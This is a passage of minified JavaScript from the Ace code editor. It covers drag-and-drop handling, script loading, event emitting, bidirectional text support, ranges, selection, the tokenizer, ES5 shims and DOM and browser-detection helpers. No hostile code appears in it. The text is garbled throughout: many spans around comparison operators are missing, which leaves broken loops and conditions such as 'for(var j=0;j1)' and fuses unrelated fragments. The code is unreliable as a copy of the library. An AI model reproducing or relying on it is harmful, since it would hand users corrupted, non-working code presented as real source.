v(){F=r.selection.toOrientedRange();J=r.session.addMarker(F,"ace_selection",r.getSelectionStyle());r.clearSelection();if(r.isFocused()){r.renderer.$cursorLayer.setBlinking(false)}clearInterval(C);m();C=setInterval(m,20);A=0;a.addListener(document,"mousemove",E)}function o(){clearInterval(C);r.session.removeMarker(J);J=null;r.$blockScrolling+=1;r.selection.fromOrientedRange(F);r.$blockScrolling-=1;if(r.isFocused()&&!K){r.renderer.$cursorLayer.setBlinking(!r.getReadOnly())}F=null;p=null;A=0;G=null;u=null;a.removeListener(document,"mousemove",E)}var l=null;function E(){if(l==null){l=setTimeout(function(){if(l!=null&&J){o()}},20)}}function n(y){var x=y.types;return !x||Array.prototype.some.call(x,function(N){return N=="text/plain"||N=="Text"})}function H(Q){var P=["copy","copymove","all","uninitialized"];var x=["move","copymove","linkmove","all","uninitialized"];var y=d.isMac?Q.altKey:Q.ctrlKey;var O="uninitialized";try{O=Q.dataTransfer.effectAllowed.toLowerCase()}catch(Q){}var N="none";if(y&&P.indexOf(O)>=0){N="copy"}else{if(x.indexOf(O)>=0){N="move"}else{if(P.indexOf(O)>=0){N="copy"}}}return N}}(function(){this.dragWait=function(){var l=Date.now()-this.mousedownEvent.time;if(l>this.editor.getDragDelay()){this.startDrag()}};this.dragWaitEnd=function(){var l=this.editor.container;l.draggable=false;this.startSelect(this.mousedownEvent.getDocumentPosition());this.selectEnd()};this.dragReadyEnd=function(l){this.editor.renderer.$cursorLayer.setBlinking(!this.editor.getReadOnly());this.editor.unsetStyle("ace_dragging");this.editor.renderer.setCursorStyle("");this.dragWaitEnd()};this.startDrag=function(){this.cancelDrag=false;var m=this.editor;var n=m.container;n.draggable=true;m.renderer.$cursorLayer.setBlinking(false);m.setStyle("ace_dragging");var l=d.isWin?"default":"move";m.renderer.setCursorStyle(l);this.setState("dragReady")};this.onMouseDrag=function(m){var l=this.editor.container;if(d.isIE&&this.state=="dragReady"){var n=b(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);if(n>3){l.dragDrop()}}if(this.state==="dragWait"){var n=b(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);if(n>0){l.draggable=false;this.startSelect(this.mousedownEvent.getDocumentPosition())}}};this.onMouseDown=function(r){if(!this.$dragEnabled){return}this.mousedownEvent=r;var o=this.editor;var n=r.inSelection();var m=r.getButton();var l=r.domEvent.detail||1;if(l===1&&m===0&&n){if(r.editor.inMultiSelectMode&&(r.getAccelKey()||r.getShiftKey())){return}this.mousedownEvent.time=Date.now();var q=r.domEvent.target||r.domEvent.srcElement;if("unselectable" in q){q.unselectable="on"}if(o.getDragDelay()){if(d.isWebKit){this.cancelDrag=true;var p=o.container;p.draggable=true}this.setState("dragWait")}else{this.startDrag()}this.captureMouse(r,this.onMouseDrag.bind(this));r.defaultPrevented=true}}}).call(i.prototype);function b(m,l,o,n){return Math.sqrt(Math.pow(o-m,2)+Math.pow(n-l,2))}g.DragdropHandler=i});ace.define("ace/lib/net",["require","exports","module","ace/lib/dom"],function(b,a,c){var d=b("./dom");a.get=function(e,g){var f=new XMLHttpRequest();f.open("GET",e,true);f.onreadystatechange=function(){if(f.readyState===4){g(f.responseText)}};f.send(null)};a.loadScript=function(g,h){var e=d.getDocumentHead();var f=document.createElement("script");f.src=g;e.appendChild(f);f.onload=f.onreadystatechange=function(j,i){if(i||!f.readyState||f.readyState=="loaded"||f.readyState=="complete"){f=f.onload=f.onreadystatechange=null;if(!i){h()}}}};a.qualifyURL=function(f){var e=document.createElement("a");e.href=f;return e.href}});ace.define("ace/lib/event_emitter",["require","exports","module"],function(d,b,e){var f={};var a=function(){this.propagationStopped=true};var c=function(){this.defaultPrevented=true};f._emit=f._dispatchEvent=function(g,l){this._eventRegistry||(this._eventRegistry={});this._defaultHandlers||(this._defaultHandlers={});var k=this._eventRegistry[g]||[];var h=this._defaultHandlers[g];if(!k.length&&!h){return}if(typeof l!="object"||!l){l={}}if(!l.type){l.type=g}if(!l.stopPropagation){l.stopPropagation=a}if(!l.preventDefault){l.preventDefault=c}k=k.slice();for(var j=0;j1){p=r[r.length-2]}var q=k[m+"Path"];if(q==null){q=k.basePath}else{if(l=="/"){m=l=""}}if(q&&q.slice(-1)!="/"){q+="/"}return q+m+l+p+this.get("suffix")};g.setModuleUrl=function(l,m){return k.$moduleUrls[l]=m};g.$loading={};g.loadModule=function(l,o){var m,n;if(Array.isArray(l)){n=l[0];l=l[1]}try{m=e(l)}catch(p){}if(m&&!g.$loading[l]){return o&&o(m)}if(!g.$loading[l]){g.$loading[l]=[]}g.$loading[l].push(o);if(g.$loading[l].length>1){return}var q=function(){e([l],function(r){g._emit("load.module",{name:l,module:r});var s=g.$loading[l];g.$loading[l]=null;s.forEach(function(t){t&&t(r)})})};if(!g.get("packaged")){return q()}i.loadScript(g.moduleUrl(l,n),q)};j(true);function j(p){if(!a||!a.document){return}k.packaged=p||e.packaged||d.packaged||(a.define&&define.packaged);var o={};var r="";var t=(document.currentScript||document._currentScript);var y=t&&t.ownerDocument||document;var u=y.getElementsByTagName("script");for(var x=0;x0){if(S==16){for(Y=af;Y-1){for(Y=af;Y=0;V--){if(B[V]==F){ag[V]=O}else{break}}}}}}function f(L,Z,Y){if(o=L){S=B+1;while(S=L){S++}for(X=B,R=S-1;X=X.length||((ab=R[L-1])!=D&&ab!=P)||((W=X[L+1])!=D&&W!=P)){return t}if(w){W=P}return W==ab?W:t;case y:ab=L>0?R[L-1]:m;if(ab==D&&(L+1)0&&R[L-1]==D){return D}if(w){return t}S=L+1;Y=X.length;while(S=1425&&Z<=2303)||Z==64286;ab=X[S];if(B&&(ab==h||ab==T)){return h}}if(L<1||(ab=X[L-1])==m){return t}return R[L-1];case m:w=false;j=true;return O;case g:b=true;return t;case E:case Q:case z:case J:case H:w=false;case C:return t}}function u(R){var B=R.charCodeAt(0),L=B>>8;if(L==0){return((B>191)?i:U[B])}else{if(L==5){return(/[\u0591-\u05f4]/.test(R)?h:i)}else{if(L==6){if(/[\u0610-\u061a\u064b-\u065f\u06d6-\u06e4\u06e7-\u06ed]/.test(R)){return c}else{if(/[\u0660-\u0669\u066b-\u066c]/.test(R)){return P}else{if(B==1642){return x}else{if(/[\u06f0-\u06f9]/.test(R)){return D}else{return T}}}}}else{if(L==32&&B<=8287){return n[B&255]}else{if(L==254){return(B>=65136?T:t)}}}}}return t}function A(B){return(B>="\u064b"&&B<="\u0655")}I.L=i;I.R=h;I.EN=D;I.ON_R=3;I.AN=4;I.R_H=5;I.B=6;I.DOT="\xB7";I.doBidiReorder=function(Y,V,L){if(Y.length<2){return{}}var S=Y.split(""),B=new Array(S.length),X=new Array(S.length),W=[];O=L?l:N;r(S,W,S.length,V);for(var R=0;RT&&V[R]0&&S[R-1]==="\u0644")&&/\u0622|\u0623|\u0625|\u0627/.test(S[R])){W[R-1]=W[R]=I.R_H;R++}}}}if(S[S.length-1]===I.DOT){W[S.length-1]=I.B}for(var R=0;R=0){i=this.session.$docRowCache[j]}}return i};this.getSplitIndex=function(){var j=0;var l=this.session.$screenRowCache;if(l.length){var i,k=this.session.$getRowCacheIndex(l,this.currentRow);while(this.currentRow-j>0){i=this.session.$getRowCacheIndex(l,this.currentRow-j-1);if(i!==k){break}k=i;j++}}return j};this.updateRowLine=function(j,k){if(j===undefined){j=this.getDocumentRow()}this.wrapIndent=0;this.isLastRow=(j===this.session.getLength()-1);this.line=this.session.getLine(j);if(this.session.$useWrapMode){var n=this.session.$wrapData[j];if(n){if(k===undefined){k=this.getSplitIndex()}if(k>0&&n.length){this.wrapIndent=n.indent;this.line=(k0?j-1:0,this.bidiMap),m=this.bidiMap.bidiLevels,n=0;if(j===0&&m[l]%2!==0){l++}for(var k=0;k=n)&&(pl+i/2){l+=i;if(j===k.length-1){i=0;break}i=this.charWidths[k[++j]]}if(j>0&&(k[j-1]%2!==0)&&(k[j]%2===0)){if(n0&&(k[j-1]%2===0)&&(k[j]%2!==0)){m=1+((n>l)?this.bidiMap.logicalFromVisual[j]:this.bidiMap.logicalFromVisual[j-1])}else{if((this.isRtlDir&&j===k.length-1&&i===0&&(k[j-1]%2===0))||(!this.isRtlDir&&j===0&&(k[j]%2!==0))){m=1+this.bidiMap.logicalFromVisual[j]}else{if(j>0&&(k[j-1]%2!==0)&&i!==0){j--}m=this.bidiMap.logicalFromVisual[j]}}}return(m+this.wrapIndent)}}).call(b.prototype);c.BidiHandler=b});ace.define("ace/range",["require","exports","module"],function(b,a,c){var e=function(g,f){return g.row-f.row||g.column-f.column};var d=function(g,h,f,i){this.start={row:g,column:h};this.end={row:f,column:i}};(function(){this.isEqual=function(f){return this.start.row===f.start.row&&this.end.row===f.end.row&&this.start.column===f.start.column&&this.end.column===f.end.column};this.toString=function(){return("Range: ["+this.start.row+"/"+this.start.column+"] -> ["+this.end.row+"/"+this.end.column+"]")};this.contains=function(g,f){return this.compare(g,f)==0};this.compareRange=function(g){var h,f=g.end,i=g.start;h=this.compare(f.row,f.column);if(h==1){h=this.compare(i.row,i.column);if(h==1){return 2}else{if(h==0){return 1}else{return 0}}}else{if(h==-1){return -2}else{h=this.compare(i.row,i.column);if(h==-1){return -1}else{if(h==1){return 42}else{return 0}}}}};this.comparePoint=function(f){return this.compare(f.row,f.column)};this.containsRange=function(f){return this.comparePoint(f.start)==0&&this.comparePoint(f.end)==0};this.intersects=function(f){var g=this.compareRange(f);return(g==-1||g==0||g==1)};this.isEnd=function(g,f){return this.end.row==g&&this.end.column==f};this.isStart=function(g,f){return this.start.row==g&&this.start.column==f};this.setStart=function(g,f){if(typeof g=="object"){this.start.column=g.column;this.start.row=g.row}else{this.start.row=g;this.start.column=f}};this.setEnd=function(g,f){if(typeof g=="object"){this.end.column=g.column;this.end.row=g.row}else{this.end.row=g;this.end.column=f}};this.inside=function(g,f){if(this.compare(g,f)==0){if(this.isEnd(g,f)||this.isStart(g,f)){return false}else{return true}}return false};this.insideStart=function(g,f){if(this.compare(g,f)==0){if(this.isEnd(g,f)){return false}else{return true}}return false};this.insideEnd=function(g,f){if(this.compare(g,f)==0){if(this.isStart(g,f)){return false}else{return true}}return false};this.compare=function(g,f){if(!this.isMultiLine()){if(g===this.start.row){return fthis.end.column?1:0)}}if(gthis.end.row){return 1}if(this.start.row===g){return f>=this.start.column?0:-1}if(this.end.row===g){return f<=this.end.column?0:1}return 0};this.compareStart=function(g,f){if(this.start.row==g&&this.start.column==f){return -1}else{return this.compare(g,f)}};this.compareEnd=function(g,f){if(this.end.row==g&&this.end.column==f){return 1}else{return this.compare(g,f)}};this.compareInside=function(g,f){if(this.end.row==g&&this.end.column==f){return 1}else{if(this.start.row==g&&this.start.column==f){return -1}else{return this.compare(g,f)}}};this.clipRows=function(h,g){if(this.end.row>g){var f={row:g+1,column:0}}else{if(this.end.rowg){var i={row:g+1,column:0}}else{if(this.start.rowi.row||(j.row==i.row&&j.column>i.column))};this.getRange=function(){var j=this.anchor;var i=this.lead;if(this.isEmpty()){return g.fromPoints(i,i)}if(this.isBackwards()){return g.fromPoints(i,j)}else{return g.fromPoints(j,i)}};this.clearSelection=function(){if(!this.$isEmpty){this.$isEmpty=true;this._emit("changeSelection")}};this.selectAll=function(){var i=this.doc.getLength()-1;this.setSelectionAnchor(0,0);this.moveCursorTo(i,this.doc.getLine(i).length)};this.setRange=this.setSelectionRange=function(i,j){if(j){this.setSelectionAnchor(i.end.row,i.end.column);this.selectTo(i.start.row,i.start.column)}else{this.setSelectionAnchor(i.start.row,i.start.column);this.selectTo(i.end.row,i.end.column)}if(this.getRange().isEmpty()){this.$isEmpty=true}this.$desiredColumn=null};this.$moveSelection=function(i){var j=this.lead;if(this.$isEmpty){this.setSelectionAnchor(j.row,j.column)}i.call(this)};this.selectTo=function(j,i){this.$moveSelection(function(){this.moveCursorTo(j,i)})};this.selectToPosition=function(i){this.$moveSelection(function(){this.moveCursorToPosition(i)})};this.moveTo=function(j,i){this.clearSelection();this.moveCursorTo(j,i)};this.moveToPosition=function(i){this.clearSelection();this.moveCursorToPosition(i)};this.selectUp=function(){this.$moveSelection(this.moveCursorUp)};this.selectDown=function(){this.$moveSelection(this.moveCursorDown)};this.selectRight=function(){this.$moveSelection(this.moveCursorRight)};this.selectLeft=function(){this.$moveSelection(this.moveCursorLeft)};this.selectLineStart=function(){this.$moveSelection(this.moveCursorLineStart)};this.selectLineEnd=function(){this.$moveSelection(this.moveCursorLineEnd)};this.selectFileEnd=function(){this.$moveSelection(this.moveCursorFileEnd)};this.selectFileStart=function(){this.$moveSelection(this.moveCursorFileStart)};this.selectWordRight=function(){this.$moveSelection(this.moveCursorWordRight)};this.selectWordLeft=function(){this.$moveSelection(this.moveCursorWordLeft)};this.getWordRange=function(k,i){if(typeof i=="undefined"){var j=k||this.lead;k=j.row;i=j.column}return this.session.getWordRange(k,i)};this.selectWord=function(){this.setSelectionRange(this.getWordRange())};this.selectAWord=function(){var j=this.getCursor();var i=this.session.getAWordRange(j.row,j.column);this.setSelectionRange(i)};this.getLineRange=function(m,k){var i=typeof m=="number"?m:this.lead.row;var j;var l=this.session.getFoldLine(i);if(l){i=l.start.row;j=l.end.row}else{j=i}if(k===true){return new g(i,0,j,this.session.getLine(j).length)}else{return new g(i,0,j+1,0)}};this.selectLine=function(){this.setSelectionRange(this.getLineRange())};this.moveCursorUp=function(){this.moveCursorBy(-1,0)};this.moveCursorDown=function(){this.moveCursorBy(1,0)};this.wouldMoveIntoSoftTab=function(l,k,j){var m=l.column;var i=l.column+k;if(j<0){m=l.column-k;i=l.column}return this.session.isTabStop(l)&&this.doc.getLine(l.row).slice(m,i).split(" ").length-1==k};this.moveCursorLeft=function(){var k=this.lead.getPosition(),i;if(i=this.session.getFoldAt(k.row,k.column,-1)){this.moveCursorTo(i.start.row,i.start.column)}else{if(k.column===0){if(k.row>0){this.moveCursorTo(k.row-1,this.doc.getLine(k.row-1).length)}}else{var j=this.session.getTabSize();if(this.wouldMoveIntoSoftTab(k,j,-1)&&!this.session.getNavigateWithinSoftTabs()){this.moveCursorBy(0,-j)}else{this.moveCursorBy(0,-1)}}}};this.moveCursorRight=function(){var k=this.lead.getPosition(),i;if(i=this.session.getFoldAt(k.row,k.column,1)){this.moveCursorTo(i.end.row,i.end.column)}else{if(this.lead.column==this.doc.getLine(this.lead.row).length){if(this.lead.row0){l.column=k}}}this.moveCursorTo(l.row,l.column)};this.moveCursorFileEnd=function(){var j=this.doc.getLength()-1;var i=this.doc.getLine(j).length;this.moveCursorTo(j,i)};this.moveCursorFileStart=function(){this.moveCursorTo(0,0)};this.moveCursorLongWordRight=function(){var n=this.lead.row;var l=this.lead.column;var i=this.doc.getLine(n);var m=i.substring(l);var k;this.session.nonTokenRe.lastIndex=0;this.session.tokenRe.lastIndex=0;var j=this.session.getFoldAt(n,l,1);if(j){this.moveCursorTo(j.end.row,j.end.column);return}if(k=this.session.nonTokenRe.exec(m)){l+=this.session.nonTokenRe.lastIndex;this.session.nonTokenRe.lastIndex=0;m=i.substring(l)}if(l>=i.length){this.moveCursorTo(n,i.length);this.moveCursorRight();if(n0){this.moveCursorWordLeft()}return}if(i=this.session.tokenRe.exec(l)){k-=this.session.tokenRe.lastIndex;this.session.tokenRe.lastIndex=0}this.moveCursorTo(n,k)};this.$shortWordEndIndex=function(n){var j,i=0,m;var l=/\s/;var k=this.session.tokenRe;k.lastIndex=0;if(j=this.session.tokenRe.exec(n)){i=this.session.tokenRe.lastIndex}else{while((m=n[i])&&l.test(m)){i++}if(i<1){k.lastIndex=0;while((m=n[i])&&!k.test(m)){k.lastIndex=0;i++;if(l.test(m)){if(i>2){i--;break}else{while((m=n[i])&&l.test(m)){i++}if(i>2){break}}}}}}k.lastIndex=0;return i};this.moveCursorShortWordRight=function(){var p=this.lead.row;var n=this.lead.column;var j=this.doc.getLine(p);var o=j.substring(n);var m=this.session.getFoldAt(p,n,1);if(m){return this.moveCursorTo(m.end.row,m.end.column)}if(n==j.length){var i=this.doc.getLength();do{p++;o=this.doc.getLine(p)}while(p0&&/^\s*$/.test(i));l=i.length;if(!/\s+$/.test(i)){i=""}}var m=h.stringReverse(i);var j=this.$shortWordEndIndex(m);return this.moveCursorTo(n,l-j)};this.moveCursorWordRight=function(){if(this.session.$selectLongWords){this.moveCursorLongWordRight()}else{this.moveCursorShortWordRight()}};this.moveCursorWordLeft=function(){if(this.session.$selectLongWords){this.moveCursorLongWordLeft()}else{this.moveCursorShortWordLeft()}};this.moveCursorBy=function(m,l){var k=this.session.documentToScreenPosition(this.lead.row,this.lead.column);var i;if(l===0){if(m!==0){if(this.session.$bidiHandler.isBidiRow(k.row,this.lead.row)){i=this.session.$bidiHandler.getPosLeft(k.column);k.column=Math.round(i/this.session.$bidiHandler.charWidths[0])}else{i=k.column*this.session.$bidiHandler.charWidths[0]}}if(this.$desiredColumn){k.column=this.$desiredColumn}else{this.$desiredColumn=k.column}}var j=this.session.screenToDocumentPosition(k.row+m,k.column,i);if(m!==0&&l===0&&j.row===this.lead.row&&j.column===this.lead.column){if(this.session.lineWidgets&&this.session.lineWidgets[j.row]){if(j.row>0||m>0){j.row++}}}this.moveCursorTo(j.row,j.column+l,l===0)};this.moveCursorToPosition=function(i){this.moveCursorTo(i.row,i.column)};this.moveCursorTo=function(m,l,j){var k=this.session.getFoldAt(m,l,1);if(k){m=k.start.row;l=k.start.column}this.$keepDesiredColumnOnChange=true;var i=this.session.getLine(m);if(/[\uDC00-\uDFFF]/.test(i.charAt(l))&&i.charAt(l-1)){if(this.lead.row==m&&this.lead.column==l+1){l=l-1}else{l=l+1}}this.lead.setPosition(m,l);this.$keepDesiredColumnOnChange=false;if(!j){this.$desiredColumn=null}};this.moveCursorToScreen=function(k,j,i){var l=this.session.screenToDocumentPosition(k,j);this.moveCursorTo(l.row,l.column,i)};this.detach=function(){this.lead.detach();this.anchor.detach();this.session=this.doc=null};this.fromOrientedRange=function(i){this.setSelectionRange(i,i.cursor==i.start);this.$desiredColumn=i.desiredColumn||this.$desiredColumn};this.toOrientedRange=function(i){var j=this.getRange();if(i){i.start.column=j.start.column;i.start.row=j.start.row;i.end.column=j.end.column;i.end.row=j.end.row}else{i=j}i.cursor=this.isBackwards()?i.start:i.end;i.desiredColumn=this.$desiredColumn;return i};this.getRangeOfMovements=function(j){var l=this.getCursor();try{j(this);var i=this.getCursor();return g.fromPoints(l,i)}catch(k){return g.fromPoints(l,l)}finally{this.moveCursorToPosition(l)}};this.toJSON=function(){if(this.rangeCount){var i=this.ranges.map(function(k){var j=k.clone();j.isBackwards=k.cursor==k.start;return j})}else{var i=this.getRange();i.isBackwards=this.isBackwards()}return i};this.fromJSON=function(l){if(l.start==undefined){if(this.rangeList){this.toSingleRange(l[0]);for(var j=l.length;j--;){var k=g.fromPoints(l[j].start,l[j].end);if(l[j].isBackwards){k.cursor=k.start}this.addRange(k,true)}return}else{l=l[0]}}if(this.rangeList){this.toSingleRange(l)}this.setSelectionRange(l,l.isBackwards)};this.isEqual=function(k){if((k.length||this.rangeCount)&&k.length!=this.rangeCount){return false}if(!k.length||!this.ranges){return this.getRange().isEqual(k)}for(var j=this.ranges.length;j--;){if(!this.ranges[j].isEqual(k[j])){return false}}return true}}).call(d.prototype);a.Selection=d});ace.define("ace/tokenizer",["require","exports","module","ace/config"],function(d,a,e){var c=d("./config");var f=2000;var b=function(q){this.states=q;this.regExps={};this.matchMappings={};for(var p in this.states){var h=this.states[p];var k=[];var r=0;var g=this.matchMappings[p]={defaultToken:"text"};var l="g";var n=[];for(var j=0;j1){m.onMatch=this.$applyToken}else{m.onMatch=m.token}}}if(s>1){if(/\\\d/.test(m.regex)){o=m.regex.replace(/\\([0-9]+)/g,function(i,t){return"\\"+(parseInt(t,10)+r+1)})}else{s=1;o=this.removeCapturingGroups(m.regex)}if(!m.splitRegex&&typeof m.token!="string"){n.push(m)}}g[r]=j;r+=s;k.push(o);if(!m.onMatch){m.onMatch=null}}if(!k.length){g[0]=0;k.push("$")}n.forEach(function(i){i.splitRegex=this.createSplitterRegexp(i.regex,l)},this);this.regExps[p]=new RegExp("("+k.join(")|(")+")|($)",l)}};(function(){this.$setMaxTokenCount=function(g){f=g|0};this.$applyToken=function(n){var h=this.splitRegex.exec(n).slice(1);var k=this.token.apply(this,h);if(typeof k==="string"){return[{type:k,value:n}]}var m=[];for(var j=0,g=k.length;j1&&d(l,"")>-1){j=RegExp(this.source,h.replace.call(g(this),"g",""));h.replace.call(n.slice(l.index),j,function(){for(var o=1;ol.index)){this.lastIndex--}}return l};if(!e){RegExp.prototype.test=function(j){var i=h.exec.call(this,j);if(i&&this.global&&!i[0].length&&(this.lastIndex>i.index)){this.lastIndex--}return !!i}}function g(i){return(i.global?"g":"")+(i.ignoreCase?"i":"")+(i.multiline?"m":"")+(i.extended?"x":"")+(i.sticky?"y":"")}function d(m,k,l){if(Array.prototype.indexOf){return m.indexOf(k,l)}for(var j=l||0;j0){if(aw>aq){aw=aq}}else{if(aw==void 0){aw=0}else{if(aw<0){aw=Math.max(aq+aw,0)}}}if(!(aw+aoax){for(at=an;at--;){this[ap+at]=this[ax+at]}}}if(az&&aw===ar){this.length=ar;this.push.apply(this,ay)}else{this.length=ar+az;for(at=0;at>>0;if(L(an)!="[object Function]"){throw new TypeError()}while(++aq>>0,an=Array(au),at=arguments[1];if(L(ao)!="[object Function]"){throw new TypeError(ao+" is not a function")}for(var ar=0;ar>>0,an=[],av,at=arguments[1];if(L(ao)!="[object Function]"){throw new TypeError(ao+" is not a function")}for(var ar=0;ar>>0,ar=arguments[1];if(L(an)!="[object Function]"){throw new TypeError(an+" is not a function")}for(var aq=0;aq>>0,ar=arguments[1];if(L(an)!="[object Function]"){throw new TypeError(an+" is not a function")}for(var aq=0;aq>>0;if(L(ao)!="[object Function]"){throw new TypeError(ao+" is not a function")}if(!at&&arguments.length==1){throw new TypeError("reduce of empty array with no initial value")}var ar=0;var an;if(arguments.length>=2){an=arguments[1]}else{do{if(ar in ap){an=ap[ar++];break}if(++ar>=at){throw new TypeError("reduce of empty array with no initial value")}}while(true)}for(;ar>>0;if(L(ao)!="[object Function]"){throw new TypeError(ao+" is not a function")}if(!at&&arguments.length==1){throw new TypeError("reduceRight of empty array with no initial value")}var an,ar=at-1;if(arguments.length>=2){an=arguments[1]}else{do{if(ar in ap){an=ap[ar--];break}if(--ar<0){throw new TypeError("reduceRight of empty array with no initial value")}}while(true)}do{if(ar in this){an=ao.call(void 0,an,ap[ar],ar,aq)}}while(ar--);return an}}if(!Array.prototype.indexOf||([0,1].indexOf(1,2)!=-1)){Array.prototype.indexOf=function v(ao){var an=aa&&L(this)=="[object String]"?this.split(""):M(this),aq=an.length>>>0;if(!aq){return -1}var ap=0;if(arguments.length>1){ap=U(arguments[1])}ap=ap>=0?ap:Math.max(0,aq+ap);for(;ap>>0;if(!aq){return -1}var ap=aq-1;if(arguments.length>1){ap=Math.min(ap,U(arguments[1]))}ap=ap>=0?ap:aq-Math.abs(ap);for(;ap>=0;ap--){if(ap in an&&ao===an[ap]){return ap}}return -1}}if(!Object.getPrototypeOf){Object.getPrototypeOf=function ah(an){return an.__proto__||(an.constructor?an.constructor.prototype:A)}}if(!Object.getOwnPropertyDescriptor){var b="Object.getOwnPropertyDescriptor called on a "+"non-object: ";Object.getOwnPropertyDescriptor=function B(ap,aq){if((typeof ap!="object"&&typeof ap!="function")||ap===null){throw new TypeError(b+ap)}if(!T(ap,aq)){return}var ar,an,at;ar={enumerable:true,configurable:true};if(p){var ao=ap.__proto__;ap.__proto__=A;var an=ac(ap,aq);var at=aj(ap,aq);ap.__proto__=ao;if(an||at){if(an){ar.get=an}if(at){ar.set=at}return ar}}ar.value=ap[aq];return ar}}if(!Object.getOwnPropertyNames){Object.getOwnPropertyNames=function R(an){return Object.keys(an)}}if(!Object.create){var V;if(Object.prototype.__proto__===null){V=function(){return{"__proto__":null}}}else{V=function(){var ao={};for(var an in ao){ao[an]=null}ao.constructor=ao.hasOwnProperty=ao.propertyIsEnumerable=ao.isPrototypeOf=ao.toLocaleString=ao.toString=ao.valueOf=ao.__proto__=null;return ao}}Object.create=function j(ap,aq){var ao;if(ap===null){ao=V()}else{if(typeof ap!="object"){throw new TypeError("typeof prototype["+(typeof ap)+"] != 'object'")}var an=function(){};an.prototype=ap;ao=new an();ao.__proto__=ap}if(aq!==void 0){Object.defineProperties(ao,aq)}return ao}}function F(an){try{Object.defineProperty(an,"sentinel",{});return"sentinel" in an}catch(ao){}}if(Object.defineProperty){var i=F({});var H=typeof document=="undefined"||F(document.createElement("div"));if(!i||!H){var E=Object.defineProperty}}if(!Object.defineProperty||E){var f="Property description must be an object: ";var W="Object.defineProperty called on non-object: ";var n="getters & setters can not be defined "+"on this javascript engine";Object.defineProperty=function Z(ao,aq,ar){if((typeof ao!="object"&&typeof ao!="function")||ao===null){throw new TypeError(W+ao)}if((typeof ar!="object"&&typeof ar!="function")||ar===null){throw new TypeError(f+ar)}if(E){try{return E.call(Object,ao,aq,ar)}catch(ap){}}if(T(ar,"value")){if(p&&(ac(ao,aq)||aj(ao,aq))){var an=ao.__proto__;ao.__proto__=A;delete ao[aq];ao[aq]=ar.value;ao.__proto__=an}else{ao[aq]=ar.value}}else{if(!p){throw new TypeError(n)}if(T(ar,"get")){ae(ao,aq,ar.get)}if(T(ar,"set")){al(ao,aq,ar.set)}}return ao}}if(!Object.defineProperties){Object.defineProperties=function N(an,ao){for(var ap in ao){if(T(ao,ap)){Object.defineProperty(an,ap,ao[ap])}}return an}}if(!Object.seal){Object.seal=function X(an){return an}}if(!Object.freeze){Object.freeze=function s(an){return an}}try{Object.freeze(function(){})}catch(l){Object.freeze=(function s(ao){return function an(ap){if(typeof ap=="function"){return ap}else{return ao(ap)}}})(Object.freeze)}if(!Object.preventExtensions){Object.preventExtensions=function O(an){return an}}if(!Object.isSealed){Object.isSealed=function am(an){return false}}if(!Object.isFrozen){Object.isFrozen=function ab(an){return false}}if(!Object.isExtensible){Object.isExtensible=function r(ao){if(Object(ao)===ao){throw new TypeError()}var an="";while(T(ao,an)){an+="?"}ao[an]=true;var ap=T(ao,an);delete ao[an];return ap}}if(!Object.keys){var m=true,u=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],k=u.length;for(var x in {"toString":null}){m=false}Object.keys=function I(ap){if((typeof ap!="object"&&typeof ap!="function")||ap===null){throw new TypeError("Object.keys called on a non-object")}var at=[];for(var ao in ap){if(T(ap,ao)){at.push(ao)}}if(m){for(var aq=0,ar=k;aq0||-1)*Math.floor(Math.abs(an))}}return an}function z(an){var ao=typeof an;return(an===null||ao==="undefined"||ao==="boolean"||ao==="number"||ao==="string")}function w(ao){var aq,an,ap;if(z(ao)){return ao}an=ao.valueOf;if(typeof an==="function"){aq=an.call(ao);if(z(aq)){return aq}}ap=ao.toString;if(typeof ap==="function"){aq=ap.call(ao);if(z(aq)){return aq}}throw new TypeError()}var M=function(an){if(an==null){throw new TypeError("can't convert "+an+" to object")}return Object(an)}});ace.define("ace/lib/fixoldbrowsers",["require","exports","module","ace/lib/regexp","ace/lib/es5-shim"],function(b,a,c){b("./regexp");b("./es5-shim")});ace.define("ace/lib/dom",["require","exports","module"],function(c,a,d){var b="http://www.w3.org/1999/xhtml";a.getDocumentHead=function(f){if(!f){f=document}return f.head||f.getElementsByTagName("head")[0]||f.documentElement};a.createElement=function(f,g){return document.createElementNS?document.createElementNS(g||b,f):document.createElement(f)};a.hasCssClass=function(h,f){var g=(h.className+"").split(/\s+/g);return g.indexOf(f)!==-1};a.addCssClass=function(g,f){if(!a.hasCssClass(g,f)){g.className+=" "+f}};a.removeCssClass=function(i,g){var h=i.className.split(/\s+/g);while(true){var f=h.indexOf(g);if(f==-1){break}h.splice(f,1)}i.className=h.join(" ")};a.toggleCssClass=function(i,g){var h=i.className.split(/\s+/g),j=true;while(true){var f=h.indexOf(g);if(f==-1){break}j=false;h.splice(f,1)}if(j){h.push(g)}i.className=h.join(" ");return j};a.setCssClass=function(h,g,f){if(f){a.addCssClass(h,g)}else{a.removeCssClass(h,g)}};a.hasCssString=function(i,h){var f=0,g;h=h||document;if(h.createStyleSheet&&(g=h.styleSheets)){while(f=0)?parseFloat((c.match(/(?:MSIE |Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]):parseFloat((c.match(/(?:Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]);a.isOldIE=a.isIE&&a.isIE<9;a.isGecko=a.isMozilla=(window.Controllers||window.controllers)&&window.navigator.product==="Gecko";a.isOldGecko=a.isGecko&&parseInt((c.match(/rv:(\d+)/)||[])[1],10)<4;a.isOpera=window.opera&&Object.prototype.toString.call(window.opera)=="[object Opera]";a.isWebKit=parseFloat(c.split("WebKit/")[1])||undefined;a.isChrome=parseFloat(c.split(" Chrome/")[1])||undefined;a.isAIR=c.indexOf("AdobeAIR")>=0;a.isIPad=c.indexOf("iPad")>=0;a.isChromeOS=c.indexOf(" CrOS ")>=0;a.isIOS=/iPad|iPhone|iPod/.test(c)&&!window.MSStream;if(a.isIOS){a.isMac=true}});ace.define("ace/lib/event",["require","exports","module","ace/lib/keys","ace/lib/useragent"],function(f,g,d){var k=f("./keys");var e=f("./useragent");var h=null;var i=0;g.addListener=function(m,l,o){if(m.addEventListener){return m.addEventListener(l,o,false)}if(m.attachEvent){var n=function(){o.call(m,window.event)};o._wrapper=n;m.attachEvent("on"+l,n)}};g.removeListener=function(m,l,n){if(m.removeEventListener){return m.removeEventListener(l,n,false)}if(m.detachEvent){m.detachEvent("on"+l,n._wrapper||n)}};g.stopEvent=function(l){g.stopPropagation(l);g.preventDefault(l);return 